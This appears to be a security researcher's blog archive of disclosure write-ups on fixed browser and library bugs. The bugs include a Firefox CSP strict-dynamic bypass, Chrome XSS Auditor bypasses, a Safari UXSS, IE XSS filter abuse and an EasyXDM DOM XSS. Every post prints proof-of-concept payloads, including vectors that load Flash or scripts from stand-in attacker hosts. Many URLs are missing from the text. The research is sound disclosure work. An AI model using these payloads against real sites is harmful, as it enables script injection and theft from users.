Thursday, May 24, 2018

CVE-2018-5175: Universal CSP strict-dynamic bypass in Firefox

In this blogpost, I'd like to write about a CSP strict-dynamic bypass vulnerability which is fixed in Firefox 60.
A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.

What is the "strict-dynamic"?

maybe you should read CSP spec :)
But for practicing writing in English, I'll explain about strict-dynamic. If you know about strict-dynamic, you don't have to read this section.

The well-known CSP restricts the loading of resources by whitelisting domains.
For example, the following CSP setting allows to load JavaScript only from its own origin and
Content-Security-Policy: script-src 'self'
Thanks to this CSP, even if the page has an XSS vulnerability, the page is prevented to execute JavaScript from the inline scripts or JavaScript file of It looks safe enough, however, if has any scripts for bypassing CSP, it is still possible to execute JavaScript. More specifically, if has a JSONP endpoint, it might be bypassed, like this:
<script src="//"></script>
If this endpoint reflects the user input passed to the callback parameter to the callback function name directly, it can be used as an arbitrary script as follows:
In additon, it is known that AngularJS also can be used for bypassing CSP. This bypass possibility becomes more realistic, especially if domains hosting many JavaScript files, such as CDN, are allowed.

That way, in the whitelist, it is sometimes difficult to operate the CSP safely. To resolve this problem, strict-dynamic was designed. This is the example of usage:
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'
This CSP means that the whitelist will be disabled and only scripts having the "secret" string in the nonce attribute will load.
<!-- This will load -->
<script src="//" nonce="secret"></script>

<!-- This will not load -->
<script src="//"></script>
The A.js might want to load and use another JavaScript. To allow this, the CSP spec permits to load without the proper nonce attribute if the js having the proper nonce loads an another js in specific conditions.  With the word written in the spec, the non-"parser-inserted" script element can be allowed to execute JavaScript.

Below are concrete examples of what type of JavaScript are permitted:
/* A.js */

//This will load
var script=document.createElement('script');

//This will not load
document.write("<scr"+"ipt src='//'></scr"+"ipt>");
When loading using createElement(), it's a non-"parser-inserted" script element and the loading is allowed. On the other hand, when loading using document.write(), it is a "parser-inserted" script element and it is not loaded.

Up to this point, I explained about strict-dynamic roughly.

By the way, the strcit-dynamic is bypassable in some cases. In the next, I'll introduce about a known strict-dynamic bypass.

Known strict-dynamic bypass

It is known that strict-dynamic also can be bypassed if a specific library is used in the target page.

By Google's Sebastian Lekies, Eduardo Vela Nava, and Krzysztof Kotowicz, affected libraries are listed here:

Let's look into the strict-dynamic bypass of require.js on this list.
Let's say the target page uses CSP with strict-dynamic, loads require.js and has a simple XSS. In this situation, if the following script element is inserted, an attacker can execute arbitrary JavaScript without the proper nonce.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
When the require.js finds a script element with a data-main attribute, it loads a script specified in the data-main attribute from the equivalent code as below:
var node = document.createElement('script');
node.src = 'data:,alert(1)';
As described before, the strict-dynamic is allowed to load JavaScript from createElement() without the proper nonce.

That way, you can bypass the CSP strict-dynamic in some cases using the behavior of already loaded JavaScript code.

Firefox's vulnerability was caused by this behavior of require.js.
In the next section, I'll explain the vulnerability.

Universal strict-dynamic bypass(CVE-2018-5175)

Firefox implements some browser features using legacy extensions. The legacy extensions means XUL/XPCOM-based extensions that was removed in Firefox 57, not WebExtensions. Even on the latest Firefox 60, the browser internals still uses this mechanism.

In this bypass, we use a resource of the legacy extension which is used in browser internals. In WebExtensions, by setting a web_accessible_resources key in the manifest, the listed resources become accessible from any web pages. The legacy extension has a similar option named contentaccessible flag. In this bypass, it could be used for bypassing CSP because a require.js of browser's internal resource was accessible from any web pages due to the contentaccessible=yes flag.

Let's look into the manifest. If you are using 64bit Firefox on Windows, you can see the manifest from the following URL:

content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/ chrome://browser/locale/
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes

resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
The yellow part is the part that makes the file accessible from any web sites. These two lines are for creating a resource: URI. The resource devtools devtools/modules/devtools/ of first line is mapping devtools/modules/devtools/ directory ( It exists on jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ )  to resource://devtools/ .
We can now access files under the directory by opening resource://devtools/ using Firefox. Likewise, the next line is mapping to resource://devtools-client-jsonview/. This URL becomes web-accessible by the contentaccessible=yes flag and we can now load the files placed under this directory from any web pages.
This directory has a require.js which is used for bypassing CSP. Just loading this require.js to the page where the CSP strict-dynamic is used, you can bypass strict-dynamic.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script  src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->
From this code, data: URL will be loaded as a JavaScript resource and it will pop up an alert dialog. 

You might think, "Hmm, why is the require.js loaded? It should be blocked by CSP because the script element does not have the proper nonce."

Actually, no matter how strictly you set CSP rules, the web-accessible resources of the extension is loaded ignoring the CSP. This behavior is mentioned in the CSP spec:

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
Firefox's resource: URI also had this rule. Thanks to this, users can use the extension's features as expected even on the page where the CSP is set, but on the other hand, this privilege sometimes can be used for bypassing the CSP, like this bug's case.
Of course, this issue is not limited to browser internal resources. Even on general browser extensions, the same thing happens if there are web-accessible resources that can be used for bypassing CSP.

It seems that Firefox folks fixed this bug by applying page's CSP to the resource: URI.

In the end of article

I wrote about a CSP strict-dynamic bypass vulnerability of Firefox.

FYI, I found this issue when I was looking for another solution of Cure53 CNY XSS Challenge 2018's third level which I made. In this challenge, I used another trick to bypass strict-dynamic. Please check it if you are interested.

Also, I created a different version of this XSS Challenge and I'm still waiting your answer :)

Lastly, I'd like to thank Google's research which made me notice this bug. Thank you!

Tuesday, December 27, 2016

XSS Auditor bypass using obscure <param> tag

Hi there!
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here:

The bypass is:
<object allowscriptaccess=always>
<param name=url value=>
Also it works:
<object allowscriptaccess=always>
<param name=code value=>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:<script>alert("1")</script>

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:<script>alert(1)</script>

The ActionScript code is here:
package {
 import flash.display.Sprite;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("");
   navigateToURL(url, "_self");
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:<script>alert(1)</script>

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)

Sunday, September 25, 2016

CVE-2016-4758: UXSS in Safari's showModalDialog

I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
FYI, Mobile Safari is not vulnerable because it does not have the showModalDialog method.

Preconditions for Attack

To attack using this bug, we need two conditions:
  1. The target page navigates to the relative URL using JavaScript. (e.g. location="/","/","_blank"))
  2. That navigation is done after the completion of the page loading.

I created the page that satisfies it:

function go_top(){
<button onclick=go_top()>Top Page</button>

This page's only purpose is that navigates to when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.

The Bug

Now, let's use the showModalDialog method.
The following page only opens the target page in a modal dialog:
function go(){
<button onclick=go()>go</button>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to But Safari was different. Surprisingly, Safari navigated to Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.

(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the <a> tag and"GET",[URL]) used the correct URL. )

Developing XSS attacks

According to #42, Safari allows to set the javascript: URL to the base tag. So, I thought that I might be able to XSS if I set the javascript: URL to the base tag in the parent page.

And my assumption was correct. This is final PoC:

<!DOCTYPE html>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
function go(){
<button onclick=go()>go</button>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:



I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.

If I find interesting bug, I'll share again :D Thanks!

Friday, July 15, 2016

Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)

In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.
So, in this post, I would like to explain details of this bug.

As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the . with the # even if the page does not have an XSS bug.

To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the ^ is used as the replacement character of the . instead of the #. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP.

Google sets X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block. As a result, I discovered that the vulnerable page exists in Javadoc on

I put the approximate copy:

This page becomes vulnerable to XSS when one . is replaced with the ^ by the XSS filter.
Can you find where it is?

The answer is the . of the yellow part:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "">
<!-- NewPage -->
<html lang="en">
<script type="text/javascript">
    targetPage = "" +;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        catch (error) {
            return false;
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
        return true;
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<div>JavaScript is disabled on your browser.</div>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
In the <script>, it checks whether the given string via is safe.
For example, the following unsafe URL is blocked:

Then, what will happen when the . of the yellow part is replaced with the ^?

Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed . with the ^:

You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:"++++++++++++.i+++=

Also I put the replaced page for you who already applied the patch. You can confirm same behavior:

A crucial difference from # and ^, the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^, a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.

After June 2016 patch, when the XSS filter replaces the ., the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.

I was surprised and disgusted when the ^ is displayed but anyway it has finally calmed down!

Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)


Wednesday, May 18, 2016

XSS Auditor bypass using Flash and base tag

A few days ago, I was playing Chrome XSS Auditor bypass with Mario.

Mario discovered this bypass:
Also I found an another bypass. In this post, I would like to share my vector.

I have filed this bug on:

The vector is this:<embed+allowscriptaccess=always+src=/xss.swf><base+href=//
<div><embed allowscriptaccess=always src=/xss.swf><base href=//</div>
Let's take a look at the process until reaching this bypass.

It is blocked to fetch the external resources using the <embed>:<embed+src=https://evil/>
<embed src=https://evil/>
But it is not blocked to fetch any same-origin resources having no query string:<embed+src=/aaa>
<embed src=/aaa>
So, if we can change the base URL, it is possible to do XSS attacks.
The base tag is also blocked but if it is not closed with >, Auditor does not block in some cases.

The following case is blocked:<base+href=//evil/
<div><base href=//evil/ </div>
But the following case is not blocked:<base+href=//evil/
<div><base href=//evil/</div>
Can you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.

Thus, my vector works!<embed+allowscriptaccess=always+src=/xss.swf><base+href=//
<div><embed allowscriptaccess=always src=/xss.swf><base href=//</div>
So, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.
If the "' characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like <base href="//evil/.

It is not blocked in the following condition:<embed+allowscriptaccess=always+src=/xss.swf><base+href="//
<embed allowscriptaccess=always src=/xss.swf><base href="//
</div><div id="x">AAA</div>
I think this bypass is useful because most pages have the "' characters under the injection point.

FYI, also <script src=/xss.js></script><base href=//evil/ is not blocked. But we can't load the external resource because the loading is started before the base URL is set:

Thus, I used Flash.

That's all. Thanks for reading my post :)

Sunday, April 10, 2016

Abusing docmode inheritance: EasyXDM 2.4.19 DOMXSS

In this post, I would like to explain an XSS issue of EasyXDM 2.4.19.
I reported it and it was fixed by the developer.

If you are users, you should update it to EasyXDM 2.4.20.

Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub

This bug is different from the following @kkotowicz's bugs.

Technical Details

To reproduce this bug, we need a little unusual trick. This bug works on only MSIE. Also, the document mode should be old (IE7 or 5). This is because XSS exists in the part where only buggy browser can pass through. And only old document mode can meet this condition.

Let's look at the code. XSS occurs in the following createElement() part:
        frame = document.createElement("<iframe name=\"" + + "\"/>");

The HAS_NAME_PROPERTY_BUG variable of the if statement condition becomes true on an only buggy browser. It is assigned in the following function:
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input")); = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues
    HAS_NAME_PROPERTY_BUG = input !== form.elements[];
    // #ifdef debug
    // #endif
This code creates a form element and a input element with a name attribute and tries to access to a input element via the name. It seems that IE7 mode cannot access to a element created dynamically with JavaScript via the name. And this code is for testing it.

I created a page for testing this part. You can confirm that the HAS_NAME_PROPERTY_BUG variable becomes true from MSIE.

So, let's confirm this XSS using the vulnerable EasyXDM.

Go to the following URL and change IE7 mode via F12 Developer Tools( F12 -> Emulation tab ). You should see an alert dialog.

OK, we knew that it actually works. But it works on only IE7 mode so far. This means that an opportunity of attack is very limited.

So, we use the trick called "document mode inheritance" which I took up in my slides recently.

Let's use this!
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
You still cannot see an alert dialog. The parent window is running in IE5 mode by the meta tag. But the iframe is running in IE8 mode. This is because the iframe page has <!DOCTYPE html>. If it exists, IE11 can bring down the document mode until IE8 mode. To XSS, we somehow have to bring down to IE7 mode.

No worries! Recently I found that IE has the strong inheritance ability at the specific place. You can test this from:

Finally, you can see an alert dialog. A difference between the former and this page is that the page is a Content-Type: message/rfc822 format, not text/html. As I have shown in the following my slides, IE/Edge still can open a message/rfc822 document into the browser.

It seems that a message/rfc822 document is rendered in IE5 mode by default. And it seems its docmode inheritance ability is stronger more than a text/html page. Even if the page has <!DCOTYPE html>, we can bring down the document mode until IE7 mode. Due to this, we can reach the vulnerable code. w00t! :)

Using this technique, it can extend the impact. The problem affecting only IE7 mode becomes the problem affecting all IE11 users without being changed to an old document mode by users. It's very useful technique, isn't it? :)

I wrote about XSS in EasyXDM 2.4.19.
That's all. Thank you for reading my post!